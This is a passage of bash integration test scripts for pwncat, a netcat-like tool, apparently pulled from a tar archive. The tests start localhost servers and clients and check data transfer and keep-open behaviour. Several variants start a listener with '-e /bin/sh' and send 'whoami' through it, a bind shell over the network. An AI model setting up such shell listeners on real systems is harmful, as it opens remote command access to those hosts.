-vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 101---tcp---server_reacc---three_clients---server_default---srv_send-cli_send-cli_send.sh000077500000000000000000000341121414025024700424270ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/14) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (SERVER SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/14) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/14) Transfer: Server -> Client (round 1)" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/14) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SERVER SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/14) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/14) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/14) Transfer: Client -> Server (round 2)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/14) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(9/14) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/14) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(11/14) Transfer: Client -> Server (round 3)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(12/14) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(13/14) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(14/14) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 200---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_nosend-cli_send.sh000077500000000000000000000324301414025024700432510ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/12) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/12) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/12) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/12) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(5/12) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/12) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(7/12) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/12) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(9/12) Transfer: Client -> Server -> Client (round 3)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/12) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(11/12) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(12/12) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 201---tcp---server_reacc---three_clients---server_command---cli_nosend-cli_send-cli_send.sh000077500000000000000000000333601414025024700427200ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/13) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors 